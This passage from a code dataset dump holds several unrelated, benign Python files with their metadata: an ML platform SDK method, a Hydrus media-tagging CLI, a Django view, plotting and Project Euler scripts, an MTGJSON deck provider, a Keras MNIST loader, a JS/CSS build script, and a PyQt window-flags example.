pio.metrics.TextSimilarity.accuracy_at_k,\n        top_k: int = 10,\n        lang: TextSimilarityLang = TextSimilarityLang.Auto,\n        queries_dataset: Dataset = None,\n        queries_column_config: QueriesColumnConfig = None,\n        models_parameters: ListModelsParameters = ListModelsParameters(),\n        **kwargs\n    ) -> 'TextSimilarity':\n        \"\"\" Start a supervised usecase training with a specific training configuration\n        (on the platform).\n\n        Args:\n            name (str): Name of the usecase to create\n            dataset (:class:`.Dataset`): Reference to the dataset\n                object to use for as training dataset\n            description_column_config (:class:`.DescriptionsColumnConfig`): Description column configuration\n                (see the documentation of the :class:`.DescriptionsColumnConfig` resource for more details\n                on each possible column types)\n            metric (str, optional): Specific metric to use for the usecase (default: ``None``)\n            queries_dataset (:class:`.Dataset`, optional): Reference to a dataset object to\n                use as a queries dataset (default: ``None``)\n\n        Returns:\n            :class:`.TextSimilarity`: Newly created supervised usecase object\n        \"\"\"\n\n        training_args = to_json(description_column_config)\n        assert isinstance(training_args, Dict)\n        if queries_column_config:\n            training_args.update(to_json(queries_column_config))\n        training_args.update(to_json(models_parameters))\n\n        if queries_dataset:\n            if isinstance(queries_dataset, str):\n                training_args['queries_dataset_id'] = queries_dataset\n            else:\n                training_args['queries_dataset_id'] = queries_dataset.id\n\n        if not metric:\n            metric = cls.default_metric\n        if not top_k:\n            top_k = cls.default_top_k\n        training_args['metric'] = metric.value\n        training_args['top_k'] = top_k\n        training_args['lang'] = lang.value\n        if isinstance(dataset, str):\n            dataset_id = dataset\n        else:\n            dataset_id = dataset.id\n\n        data = dict(name=name, dataset_id=dataset_id, **training_args)\n\n        endpoint = '/projects/{}/{}/{}/{}'.format(project_id, 'usecases', cls.data_type.value, cls.training_type.value)\n        start = client.request(endpoint,\n                               method=requests.post,\n                               data=data,\n                               content_type='application/json',\n                               message_prefix='Text similarity usecase start')\n\n        start_response = parse_json(start)\n        usecase = cls.from_id(start_response['_id'])\n        events_url = '/{}/{}'.format(cls.resource, start_response['_id'])\n        pio.client.event_manager.wait_for_event(usecase._id,\n                                                cls.resource,\n                                                EventTuple('USECASE_VERSION_UPDATE', 'state', 'running',\n                                                           [('state', 'failed')]),\n                                                specific_url=events_url)\n        return usecase\n\n    def new_version(\n        self,\n        description: str = None,\n        dataset: Dataset = None,\n        description_column_config: DescriptionsColumnConfig = None,\n        metric: pio.metrics.TextSimilarity = None,\n        top_k: int = None,\n        lang: TextSimilarityLang = TextSimilarityLang.Auto,\n        queries_dataset: Dataset = None,\n        queries_column_config: Union[QueriesColumnConfig, None] = None,\n        models_parameters: ListModelsParameters = None,\n        **kwargs\n    ) -> 'TextSimilarity':\n        \"\"\" Start a text similarity usecase training to create a new version of the usecase (on the\n        platform): the training configs are copied from the current version and then overridden\n        for the given parameters.\n\n        Args:\n            description (str, optional): additional description of the version\n            dataset (:class:`.Dataset`, :class:`.DatasetImages`, optional): Reference to the dataset\n                object to use for as training dataset\n            description_column_config (:class:`.DescriptionsColumnConfig`, optional): Column configuration for the\n                usecase (see the documentation of the :class:`.ColumnConfig` resource for more details on each possible\n                column types)\n            metric (metrics.TextSimilarity, optional): Specific metric to use for the usecase (default: ``None``)\n            holdout_dataset (:class:`.Dataset`, optional): Reference to a dataset object to\n                use as a holdout dataset (default: ``None``)\n            training_config (:class:`.TrainingConfig`, optional): Specific training configuration\n                (see the documentation of the :class:`.TrainingConfig` resource for more details\n                on all the parameters)\n        Returns:\n            :class:`.TextSimilarity`: Newly created text similarity usecase version object (new version)\n        \"\"\"\n\n        if not dataset:\n            dataset_id = self.dataset_id\n        else:\n            dataset_id = dataset.id\n\n        if not description_column_config:\n            description_column_config = self.description_column_config\n\n        if not metric:\n            metric = self.metric\n        if not top_k:\n            top_k = self.top_k\n        if not lang:\n            lang = self.lang\n        if not queries_dataset:\n            queries_dataset_id = self.queries_dataset\n        else:\n            queries_dataset_id = queries_dataset.id\n\n        if not queries_column_config:\n            queries_column_config = self.queries_column_config\n\n        if not models_parameters:\n            models_parameters = self.models_parameters\n\n        training_args = to_json(description_column_config)\n        assert isinstance(training_args, Dict)\n        if queries_column_config:\n            training_args.update(to_json(queries_column_config))\n        training_args.update(to_json(models_parameters))\n\n        if queries_dataset_id:\n            training_args['queries_dataset_id'] = queries_dataset_id\n\n        training_args['metric'] = metric.value\n        training_args['top_k'] = top_k\n        training_args['lang'] = lang.value\n\n        data = dict(name=self.name, dataset_id=dataset_id, **training_args)\n\n        if description:\n            data[\"description\"] = description\n\n        endpoint = \"/usecases/{}/versions\".format(self.usecase_id)\n        resp = client.request(endpoint=endpoint,\n                              data=data,\n                              method=requests.post,\n                              content_type='application/json',\n                              message_prefix='Text similarity usecase start')\n\n        start_response = parse_json(resp)\n        usecase = self.from_id(start_response['_id'])\n        events_url = '/{}/{}'.format(self.resource, start_response['_id'])\n        pio.client.event_manager.wait_for_event(usecase._id,\n                                                self.resource,\n                                                EventTuple('USECASE_VERSION_UPDATE', 'state', 'running',\n                                                           [('state', 'failed')]),\n                                                specific_url=events_url)\n        return usecase\n","sub_path":"previsionio/text_similarity.py","file_name":"text_similarity.py","file_ext":"py","file_size_in_byte":16938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"565495916","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport pathlib\nimport typing\nfrom collections import Counter\nfrom tempfile import NamedTemporaryFile, TemporaryDirectory\n\nimport click\nimport hydrus\nimport sh\nimport tqdm\nfrom hydrus.utils import yield_chunks\n\n\n@click.group()\ndef cli():\n    pass\n\n\ndef process_tags_from_text(access_key, text_path):\n    if not all([access_key, text_path]):\n        print('require hydrus access key and text path')\n        return\n    cl = hydrus.Client(access_key)\n    with open(text_path) as f:\n        txt = f.read()\n    items = txt.split('\\n\\n')\n    items = map(lambda x: x.splitlines(), items)\n    items = list(map(\n        lambda x: {'delete': x[0], 'add': list(set(x[1:]))}, items))\n    for item in tqdm.tqdm(items):\n        ids = cl.search_files(cl.clean_tags([item['delete']]))\n        if not ids:\n            continue\n        ms = cl.file_metadata(file_ids=ids, only_identifiers=True)\n        if not ms:\n            continue\n        cl.add_tags(list(map(\n            lambda x: x['hash'], ms)), service_to_action_to_tags={\n                'my tags': {\n                    hydrus.TagAction.Delete: cl.clean_tags([item['delete']]),\n                    hydrus.TagAction.Add: cl.clean_tags(item['add'])\n                }\n        })\n\n\ndef replace_namespace(\n        access_key: str,\n        namespace: str,\n        tags: typing.Sequence[str],\n        max_file: int=0):\n    if not access_key:\n        print('require hydrus access key and text path')\n        return\n    cl = hydrus.Client(access_key)\n    for tag in tags:\n        if ':' not in tag:\n            print(\"tag don't have namespace: {}\".format(tag))\n            continue\n        ids = cl.search_files([tag])\n        if not ids:\n            print('no file found: {}'.format(tag))\n            continue\n        if max_file > 0 and len(ids) > max_file:\n            print('following tag have more file ({}): {}'.format(len(ids), tag))\n            continue\n        target_tag = '{}:{}'.format(namespace, tag.split(':', 1)[1])\n        if target_tag == tag:\n            print(\"tag and target tag is the same: {}\".format(tag))\n            continue\n        metadata = cl.file_metadata(file_ids=ids)\n        hashes = list(map(lambda x: x['hash'], metadata))\n        cl.add_tags(hashes, service_to_action_to_tags={\n            'my tags': {\n                hydrus.TagAction.Delete: [tag],\n                hydrus.TagAction.Add: [target_tag],\n            }\n        })\n        print(\"tag replaced on {} file(s):\\n{}\\n->{}\".format(\n            len(hashes), tag, target_tag\n        ))\n\n\ndef remove_old_dd(tag_filename):\n    client = hydrus.Client(os.getenv('HYDRUS_ACCESS_KEY'))\n    with open(tag_filename) as f:\n        m_tags = f.read().splitlines()\n\n    get_dd_subtags = lambda x: x.split('dd:', 1)[1].rsplit(',')[0]\n    finished_file_ids = []\n    for m_tag in tqdm.tqdm(m_tags):\n        tqdm.tqdm.write('tag:{}'.format(m_tag))\n        for idx in tqdm.trange(1, 11):\n            fids = list(filter(\n                lambda x: x not in finished_file_ids,\n                client.search_files(['{},{}'.format(m_tag, idx)])))\n            if fids:\n                fmds = []\n                for fids_chunk in yield_chunks(fids, 256):\n                    fmds.extend(client.file_metadata(file_ids=fids_chunk))\n                for fmd in tqdm.tqdm(fmds):\n                    fmd_tags = fmd['service_names_to_statuses_to_tags']['my tags']['0']\n                    match_tags = [x for x in fmd_tags if x.startswith('dd:') and get_dd_subtags(x) in m_tags]\n                    if match_tags:\n                        hash_ = fmd['hash']\n                        add_tags = list(set(['thread:dd:{}'.format(get_dd_subtags(x)) for x in match_tags]))\n                        tqdm.tqdm.write('{}:{}'.format(hash_, str(add_tags)))\n                        add_tags.append('thread:20200125 090020')\n                        remove_tags = [x for x in fmd_tags if x.startswith('dd:')]\n                        tqdm.tqdm.write('{}: remove {}'.format(hash_, len(remove_tags)))\n                        client.add_tags(\n                            hashes=[hash_],\n                            service_to_action_to_tags={\n                                'my tags': {'0': add_tags, '1': remove_tags}})\n                    finished_file_ids.append(fmd['file_id'])\n\n\n@cli.command()\n@click.argument('access_key')\n@click.argument('images', nargs=-1)\n@click.option('--horizontal', is_flag=True)\ndef append_images(access_key, images, horizontal=False):\n    if len(images) < 2:\n        print('minimum 2 image required')\n        return\n    client = hydrus.Client(access_key)\n    hashes = map(lambda x: pathlib.Path(x).stem, images)\n    resps = list(map(lambda x: client.get_file(hash_=x), hashes))\n    # convert -append 1.jpg 2.jpg out.jpg\n    subcmd = '+append' if horizontal else '-append'\n    with NamedTemporaryFile() as out:\n        with NamedTemporaryFile() as f1, NamedTemporaryFile() as f2:\n            f1.write(resps[0].content)\n            f2.write(resps[1].content)\n            sh.convert(subcmd, f1.name, f2.name, out.name)\n        if len(resps) > 2:\n            for resp in tqdm.tqdm(resps[2:]):\n                with NamedTemporaryFile() as f:\n                    f.write(resp.content)\n                    sh.convert('-append', out.name, f.name, out.name)\n        import_resp = client.add_file(out.name)\n        print('finished:\\n{}'.format(import_resp))\n\n\n@cli.command()\n@click.argument('access_key')\n@click.argument('degrees')\n@click.argument('images', nargs=-1)\ndef rotate_images(access_key, degrees, images):\n    client = hydrus.Client(access_key)\n    hashes = map(lambda x: pathlib.Path(x).stem, images)\n    resps = list(map(lambda x: client.get_file(hash_=x), hashes))\n    # convert -rotate degrees img.jpg out.jpg\n    for resp in tqdm.tqdm(resps):\n        with NamedTemporaryFile() as out, NamedTemporaryFile() as f:\n            f.write(resp.content)\n            sh.convert('-rotate', degrees, f.name, out.name)\n            import_resp = client.add_file(out.name)\n            tqdm.tqdm.write(str(import_resp))\n\n\n@cli.command()\n@click.argument('subcommand')\n@click.argument('access_key')\n@click.argument('images', nargs=-1)\n@click.option('-a', '--args', multiple=True)\n@click.option('--output', default='%d')\ndef convert_images(subcommand, access_key, images, args=None, output='%d'):\n    client = hydrus.Client(access_key)\n    hashes = map(lambda x: pathlib.Path(x).stem, images)\n    resps = list(map(lambda x: (x, client.get_file(hash_=x)), hashes))\n    repo = 'my tags'\n    # convert subcommand args img.jpg out.jpg\n    if subcommand.startswith('+'):\n        convert_args = [subcommand]\n    elif not subcommand.strip():\n        convert_args = []\n    else:\n        convert_args = ['-{}'.format(subcommand)]\n    if args:\n        convert_args.extend(args)\n    print(convert_args)\n    for hash_, resp in tqdm.tqdm(resps):\n        try:\n            tags = client.file_metadata([hash_])[0]['service_names_to_statuses_to_tags'][repo]['0']\n        except Exception:\n            tags = []\n        with TemporaryDirectory() as tmpdir, NamedTemporaryFile() as f:\n            f.write(resp.content)\n            output = os.path.join(tmpdir, output)\n            sh.convert(convert_args + [f.name, output])\n            for filename in tqdm.tqdm(os.listdir(tmpdir)):\n                output_path = os.path.join(tmpdir, filename)\n                import_resp = client.add_file(output_path)\n                if tags:\n                    client.add_tags([import_resp['hash']], service_to_action_to_tags={repo: {0: tags}})\n                tqdm.tqdm.write(', '.join([filename, str(import_resp)]))\n\n\n@cli.command()\n@click.argument('access_key')\n@click.argument('hashes', nargs=-1)\n@click.option('--output', default='%d')\ndef ffmpeg(access_key, hashes, output='%d'):\n    client = hydrus.Client(access_key)\n    hashes = list(map(lambda x: pathlib.Path(x).stem, hashes))\n    resps = list(map(lambda x: (x, client.get_file(hash_=x)), hashes))\n    repo = 'my tags'\n    for hash_, resp in tqdm.tqdm(resps):\n        tags = client.file_metadata([hash_])[0]['service_names_to_statuses_to_tags'][repo]['0']\n        with TemporaryDirectory() as tmpdir, NamedTemporaryFile() as f:\n            f.write(resp.content)\n            output_fn = os.path.join(tmpdir, output)\n            args = ['-i', f.name, output_fn]\n            print(args)\n            sh.ffmpeg(args)\n            filenames = tqdm.tqdm(os.listdir(tmpdir)[::-1])\n            import_resps = []\n            for filename in filenames:\n                output_path = os.path.join(tmpdir, filename)\n                import_resp = client.add_file(output_path)\n                import_resps.append(import_resp)\n                if tags:\n                    client.add_tags([import_resp['hash']], service_to_action_to_tags={repo: {0: tags}})\n                tqdm.tqdm.write(', '.join([filename, str(import_resp)]))\n            tqdm.tqdm.write(str(Counter([x['status'] for x in import_resps])))\n\n\nif __name__ == '__main__':\n    cli()\n","sub_path":"scripts/scripts/hydrus_script.py","file_name":"hydrus_script.py","file_ext":"py","file_size_in_byte":9010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"296024953","text":"# coding=utf-8\nfrom __future__ import division\nfrom django.http import HttpResponse,Http404\nfrom django.views.decorators.cache import cache_control\nfrom django.db.models.loading import AppCache \n\nimport string\nimport json\nfrom nationbrowse.querybuilder import APP_MAP\n\n@cache_control(public=True,max_age=604800)\ndef get_columns(request,tables):\n    # Strip leading/trailing whitespace and punctuation (so we only have\n    # comma-delimited list)\n    tables = tables.strip(string.whitespace + string.punctuation)\n    if not tables:\n        raise Http404\n    \n    tables = tables.split(\",\")\n    \n    app_loader = AppCache()\n    \n    tables2 = []\n    real_tables = []\n    columns = []\n    for table in tables:\n        try:\n            real_table = APP_MAP[table]\n            \n            model = app_loader.get_model(*real_table.split(\".\"))\n            \n            tables2.append(table)\n            real_tables.append(real_table)\n            columns.append(\n                model.objects.all().values()[0].keys()\n            )\n        except:\n            pass\n    \n    return HttpResponse(\n        json.dumps({\n            \"tables\":tables,\n            \"real_tables\":real_tables,\n            \"columns\":columns\n        }, indent=4),\n        mimetype=\"text/javascript\")\n","sub_path":"django_server/server/nationbrowse/querybuilder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"125839403","text":"#!/usr/bin/env python\n\n# We use pylab !\nimport pylab\n\n# x axis values\nt = [1, 2, 3, 4, 5]\n\n# y axis values\ns= [2, 8, 4, 1, 6]\npylab.plot(t, s)\n\npylab.xlabel('time (s)')\npylab.ylabel('voltage (mV)')\npylab.title('Sample title')\npylab.grid(True)\n\n# export as a png file \npylab.savefig('python-plot')\n\npylab.show()","sub_path":"nine.py","file_name":"nine.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"360441263","text":"import math\n\nif __name__ == '__main__':\n    import sys\n    sys.path.insert(0, 'C:\\\\Users\\\\James Jiang\\\\Documents\\\\Project Euler')\n\nfrom progress import Progress\nanswers_list = ['dummy']\nwith open('C:\\\\Users\\\\James Jiang\\\\Documents\\\\Project Euler\\\\answers.txt') as answers:\n    for line in answers:\n        answers_list.append(int(line))\nprogress_ = Progress(\"Problem 073: Counting fractions in a range\", 0, 12001)\n\ncount = 0\nfor n in range(2, 12001):\n    progress_.count = n\n    progress_.progress()\n    for i in range(math.floor(n/3) + 1, math.ceil(n/2)):\n        if math.gcd(n, i) == 1:\n            count += 1\n\nprogress_.count = count\nprogress_.total = answers_list[73]\nprogress_.progress()\n\nif __name__ == '__main__':\n    input()\n","sub_path":"python/problem_73.py","file_name":"problem_73.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"520348440","text":"\"\"\"\nDecks via GitHub 3rd party provider\n\"\"\"\nimport json\nimport logging\nimport pathlib\nfrom typing import Any, Dict, Iterator, List, Union\n\nfrom singleton_decorator import singleton\n\nfrom ..classes.mtgjson_deck import MtgjsonDeckObject\nfrom ..compiled_classes.mtgjson_structures import MtgjsonStructuresObject\nfrom ..consts import OUTPUT_PATH\nfrom ..providers.abstract import AbstractProvider\nfrom ..utils import parallel_call, retryable_session\n\nLOGGER = logging.getLogger(__name__)\n\n\n@singleton\nclass GitHubDecksProvider(AbstractProvider):\n    \"\"\"\n    GitHubDecksProvider container\n    \"\"\"\n\n    decks_api_url: str = \"https://github.com/taw/magic-preconstructed-decks-data/blob/master/decks.json?raw=true\"\n    all_printings_file: pathlib.Path = OUTPUT_PATH.joinpath(\n        f\"{MtgjsonStructuresObject().all_printings}.json\"\n    )\n    all_printings_cards: Dict[str, Any]\n\n    def __init__(self) -> None:\n        \"\"\"\n        Initializer\n        \"\"\"\n        super().__init__(self._build_http_header())\n\n    def _build_http_header(self) -> Dict[str, str]:\n        \"\"\"\n        Construct the Authorization header\n        :return: Authorization header\n        \"\"\"\n        return dict()\n\n    def download(self, url: str, params: Dict[str, Union[str, int]] = None) -> Any:\n        \"\"\"\n        Download content from GitHub\n        :param url: Download URL\n        :param params: Options for URL download\n        \"\"\"\n        session = retryable_session()\n\n        response = session.get(url)\n        self.log_download(response)\n        if response.ok:\n            return response.json()\n\n        LOGGER.error(f\"Error downloading GitHub Decks: {response} --- {response.text}\")\n        return []\n\n    def iterate_precon_decks(self) -> Iterator[MtgjsonDeckObject]:\n        \"\"\"\n        Iterate the pre-constructed headers file to generate\n        full MTGJSON deck objects\n        :return: Iterator of a deck object\n        \"\"\"\n        if not self.all_printings_file.is_file():\n            LOGGER.error(\"Unable to construct decks. AllPrintings not found\")\n            return\n\n        if self.all_printings_file.stat().st_size <= 2000:\n            LOGGER.error(\"Unable to construct decks. AllPrintings not fully formed\")\n            return\n\n        with self.all_printings_file.open() as file:\n            self.all_printings_cards = json.load(file).get(\"data\", {})\n\n        for deck in self.download(self.decks_api_url):\n            this_deck = MtgjsonDeckObject()\n            this_deck.name = deck[\"name\"]\n            this_deck.code = deck[\"set_code\"].upper()\n            this_deck.set_sanitized_name(this_deck.name)\n            this_deck.type = deck[\"type\"]\n            this_deck.release_date = deck[\"release_date\"]\n\n            try:\n                this_deck.main_board = parallel_call(\n                    build_single_card, deck[\"cards\"], fold_list=True\n                )\n                this_deck.side_board = parallel_call(\n                    build_single_card, deck[\"sideboard\"], fold_list=True\n                )\n            except KeyError as error:\n                LOGGER.warning(\n                    f'GitHub Deck \"{this_deck.name}\" failed to build -- Missing Set {error}'\n                )\n                continue\n\n            yield this_deck\n\n\ndef build_single_card(card: Dict[str, Any]) -> List[Dict[str, Any]]:\n    \"\"\"\n    Given a card, add components necessary to turn it into\n    an enhanced MTGJSON card\n    :param card: Card to enhance\n    :return: List of enhanced cards in set\n    \"\"\"\n    cards = []\n    set_to_build_from = GitHubDecksProvider().all_printings_cards.get(\n        card[\"set_code\"].upper()\n    )\n\n    if not set_to_build_from:\n        LOGGER.warning(f\"Set {card['set_code'].upper()} not found for {card['name']}\")\n        return []\n\n    for mtgjson_card in set_to_build_from[\"cards\"]:\n        if \"//\" in card[\"name\"]:\n            if card[\"number\"][-1].isalpha():\n                card[\"number\"] = card[\"number\"][:-1]\n\n        if mtgjson_card[\"number\"] == card[\"number\"] or (\n            mtgjson_card.get(\"multiverseId\", \"zNone\") == card.get(\"multiverseid\")\n        ):\n            mtgjson_card[\"count\"] = card[\"count\"]\n            mtgjson_card[\"isFoil\"] = card[\"foil\"]\n            cards.append(mtgjson_card)\n\n    if not cards:\n        LOGGER.warning(f\"No matches found for {card}\")\n\n    return cards\n","sub_path":"mtgjson5/providers/github_decks.py","file_name":"github_decks.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"348662121","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\spiderlib\\test03.py\n# Compiled at: 2020-03-25 09:13:48\n# Size of source mod 2**32: 676 bytes\nimport requests\nfrom lxml import etree\nfrom spiderlib import *\nresp = requests.get('https://www.cnblogs.com')\nroot = etree.HTML(resp.text)\ntitles = root.xpath(\"//a[@class='titlelnk']//text()\")\nlinks = root.xpath(\"//a[@class='titlelnk']//@href\")\nredis = RedisRedup()\nvalues = []\nvalues.append(['title', 'link'])\nfor item in zip(titles, links):\n    if not redis.loaded(item[1]):\n        values.append(item)\n\nmysql = MySQLPipeline(database='bee', table='data')\nmysql.save(values)","sub_path":"pycfiles/spiderlibs-0.0.13-py3.6/test03.cpython-36.py","file_name":"test03.cpython-36.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"210120124","text":"#!/usr/bin/env python\n\nimport re\nimport os\nimport json\nfrom os import path\nfrom subprocess import Popen, PIPE\n\nos.chdir(path.dirname(path.abspath(__file__)))\n\nGA = '''\n(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\nm=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');\nga('create', 'UA-69544114-2', 'auto');\nga('send', 'pageview');\n'''\n\ndef tinyhtml(text):\n    lines = re.split('(<[^>]+>)', text)\n    rv = []\n    for line in lines:\n        line = line.strip()\n        rv.append(line)\n    return ''.join(rv)\n\n\ndef shell(cmd, data=None):\n    p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE)\n    stdout, stderr = p.communicate(input=data)\n    if not stdout:\n        raise RuntimeError(stderr)\n    return stdout\n\n\ndef create_card(theme):\n    with open('src/theme/%s.html' % theme) as f:\n        template = f.read()\n        start = template.find('<script')\n        end = template.find('</script>') + len('</script>')\n        template = template[start:end]\n\n    html = (\n        '<!doctype html><html><body>'\n        '<style type=\"text/css\">%s</style>%s'\n        '<script>%s</script>'\n        '</body></html>'\n    )\n\n    css = shell(['cleancss', 'src/theme/%s.css' % theme])\n\n    with open('src/card.js', 'rb') as f:\n        content = f.read()\n        # use real API url\n        content = content.replace('http://localhost:8001', 'https://cr-inn.com')\n\n    js = shell(['uglifyjs', '-m'], content)\n\n    out = html % (css, tinyhtml(template), js)\n    with open('jsdelivr/theme/%s.html' % theme, 'wb') as f:\n        f.write(out)\n\n\ndef create_widget():\n    with open('package.json') as f:\n        pkg = json.load(f)\n\n    url = '//cdn.jsdelivr.net/zhihu-card/%s/' % pkg['version']\n\n    with open('src/widget.js') as f:\n        content = f.read()\n        content = content.replace('replacethis', url)\n\n    js = shell(['uglifyjs', '-m'], content)\n    with open('jsdelivr/widget.js', 'wb') as f:\n        f.write(js)\n\ncreate_widget()\n\nif not os.path.isdir('jsdelivr/theme'):\n    os.makedirs('jsdelivr/theme')\n\ncreate_card('zhihu')\ncreate_card('github')\n\n        ","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"448192054","text":"from keras.datasets import mnist\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.models import model_from_json, model_from_yaml\nimport matplotlib.pyplot as plt\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n\ninput_dim = 784 #28*28\noutput_dim = nb_classes = 10\nX_train = X_train.reshape(60000, input_dim)\nX_test = X_test.reshape(10000, input_dim)\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\nX_train /= 255\nX_test /= 255\n\n# convert class vectors to binary class matrices\n\nY_train = np_utils.to_categorical(y_train, nb_classes)\nY_test = np_utils.to_categorical(y_test, nb_classes)\n\nprint(\"X size\", X_train.shape)\nprint(\"Y size\", Y_train.shape)\n\n\n\n\nmodel = model_from_json(open('mnist_Logistic_model.json').read())# if json\n# model = model_from_yaml(open('mnist_Logistic_model.yaml').read())# if yaml\nmodel.load_weights('mnist_Logistic_wts.h5')\n\n\n\n\ntest = X_test[0].reshape(-1,784)\nprint(\"result is\",model.predict(test))\nplt.imshow(test.reshape(28,28))\nplt.show()\n","sub_path":"winterns/poolaidhamilton/keras/classify_mnist.py","file_name":"classify_mnist.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"310881474","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# converted from C++ by blindvic\r\n\"\"\"\r\nPyQt version of Window Flags Example\r\nhttp://doc.trolltech.com/4.6/widgets-windowflags.html\r\n\"\"\"\r\n\r\nimport sys, os\r\n\r\nfrom PyQt4.QtCore import *\r\nfrom PyQt4.QtGui import *\r\n\r\nclass PreviewWindow ( QWidget ) :\r\n\tdef __init__ ( self, parent = None ) :\r\n\t\tQWidget.__init__ ( self, parent )\r\n\t\tself.textEdit = QTextEdit ()\r\n\t\tself.textEdit.setReadOnly ( True )\r\n\t\tself.textEdit.setLineWrapMode ( QTextEdit.NoWrap )\r\n\r\n\t\tself.closeButton = QPushButton ( \"&Close\" )\r\n\t\tself.closeButton.clicked.connect ( self.close )\r\n\r\n\t\tlayout = QVBoxLayout ()\r\n\t\tlayout.addWidget ( self.textEdit )\r\n\t\tlayout.addWidget ( self.closeButton )\r\n\t\tself.setLayout ( layout )\r\n\r\n\t\tself.setWindowTitle ( \"Preview\" )\r\n\r\n\tdef setWindowFlags ( self, flags ) :\r\n\r\n\t\tQWidget.setWindowFlags ( self, flags )\r\n\r\n\t\ttext = \"\"\r\n\r\n\t\ttype = flags & Qt.WindowType_Mask\r\n\t\tif type == Qt.Window :\r\n\t\t\ttext = \"Qt.Window\"\r\n\t\telif type == Qt.Dialog :\r\n\t\t\ttext = \"Qt.Dialog\"\r\n\t\telif type == Qt.Sheet :\r\n\t\t\ttext = \"Qt.Sheet\"\r\n\t\telif type == Qt.Drawer :\r\n\t\t\ttext = \"Qt.Drawer\"\r\n\t\telif type == Qt.Popup :\r\n\t\t\ttext = \"Qt.Popup\"\r\n\t\telif type == Qt.Tool :\r\n\t\t\ttext = \"Qt.Tool\"\r\n\t\telif type == Qt.ToolTip :\r\n\t\t\ttext = \"Qt.ToolTip\"\r\n\t\telif type == Qt.SplashScreen :\r\n\t\t\ttext = \"Qt.SplashScreen\"\r\n\r\n\t\tif flags & Qt.MSWindowsFixedSizeDialogHint :\r\n\t\t\ttext += \"\\n| Qt.MSWindowsFixedSizeDialogHint\"\r\n\t\tif flags & Qt.X11BypassWindowManagerHint :\r\n\t\t\ttext += \"\\n| Qt.X11BypassWindowManagerHint\"\r\n\t\tif flags & Qt.FramelessWindowHint :\r\n\t\t\ttext += \"\\n| Qt.FramelessWindowHint\"\r\n\t\tif flags & Qt.WindowTitleHint :\r\n\t\t\ttext += \"\\n| Qt.WindowTitleHint\"\r\n\t\tif flags & Qt.WindowSystemMenuHint :\r\n\t\t\ttext += \"\\n| Qt.WindowSystemMenuHint\"\r\n\t\tif flags & Qt.WindowMinimizeButtonHint :\r\n\t\t\ttext += \"\\n| Qt.WindowMinimizeButtonHint\"\r\n\t\tif flags & Qt.WindowMaximizeButtonHint :\r\n\t\t\ttext += \"\\n| Qt.WindowMaximizeButtonHint\"\r\n\t\tif flags & Qt.WindowCloseButtonHint :\r\n\t\t\ttext += \"\\n| Qt.WindowCloseButtonHint\"\r\n\t\tif flags & Qt.WindowContextHelpButtonHint :\r\n\t\t\ttext += \"\\n| Qt.WindowContextHelpButtonHint\"\r\n\t\tif flags & Qt.WindowShadeButtonHint :\r\n\t\t\ttext += \"\\n| Qt.WindowShadeButtonHint\"\r\n\t\tif flags & Qt.WindowStaysOnTopHint :\r\n\t\t\ttext += \"\\n| Qt.WindowStaysOnTopHint\"\r\n\t\tif flags & Qt.CustomizeWindowHint :\r\n\t\t\ttext += \"\\n| Qt.CustomizeWindowHint\"\r\n\r\n\t\tself.textEdit.setPlainText ( text )\r\n\r\n\r\nclass ControllerWindow ( QWidget ) :\r\n\r\n\tdef __init__ ( self, parent = None ) :\r\n\t\tQWidget.__init__ ( self, parent )\r\n\r\n\t\tself.previewWindow = PreviewWindow ( self )\r\n\r\n\t\tself.createTypeGroupBox ()\r\n\t\tself.createHintsGroupBox ()\r\n\r\n\t\tself.quitButton = QPushButton ( \"&Quit\" )\r\n\t\tself.quitButton.clicked.connect ( self.close )\r\n\r\n\t\tbottomLayout = QHBoxLayout ()\r\n\t\tbottomLayout.addStretch ()\r\n\t\tbottomLayout.addWidget ( self.quitButton )\r\n\r\n\t\tmainLayout = QVBoxLayout ()\r\n\t\tmainLayout.addWidget ( self.typeGroupBox )\r\n\t\tmainLayout.addWidget ( self.hintsGroupBox )\r\n\t\tmainLayout.addLayout ( bottomLayout )\r\n\t\tself.setLayout ( mainLayout )\r\n\r\n\t\tself.setWindowTitle ( \"Window Flags\" )\r\n\t\tself.updatePreview ()\r\n\r\n\tdef updatePreview ( self ) :\r\n\t\tflags = 0\r\n\r\n\t\tif self.windowRadioButton.isChecked () :\r\n\t\t\tflags = Qt.Window\r\n\t\telif self.dialogRadioButton.isChecked () :\r\n\t\t\tflags = Qt.Dialog\r\n\t\telif self.sheetRadioButton.isChecked () 